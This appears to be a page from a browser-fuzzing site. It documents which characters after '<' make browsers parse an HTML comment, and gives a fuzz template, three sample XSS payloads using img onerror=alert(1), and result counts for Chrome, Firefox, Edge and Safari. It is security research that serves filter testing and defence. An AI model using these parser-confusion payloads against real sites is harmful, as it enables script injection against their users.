Characters that can start an HTML comment
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3This vector shows which characters can be used after the "<" character and act as an HTML comment
Created by0x999-x
Created Jul 18, 2024
Updated May 28, 2025
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CategoryHTML Parsing
VisibilityPublic
TypeHTML
CharsetUTF-8
Template used:
<$[chr] <a/b="--><found>"Sample payloads
<! <a/b="--><img/src/onerror=alert(1)>"</ <a/b="--><img/src/onerror=alert(1)>"<? <a/b="--><img/src/onerror=alert(1)>"Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 3 results
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Chrome 127.0.0.0 desktop macOS 10.15.7older version
Updated20 Aug 2024
Found 3 results
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Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 3 results
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Firefox 129.0 desktop macOS 10.15older version
Updated20 Aug 2024
Found 3 results
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Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 3 results
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Safari 17.6 mobile iOS 17.6.1
Updated20 Aug 2024
Found 3 results
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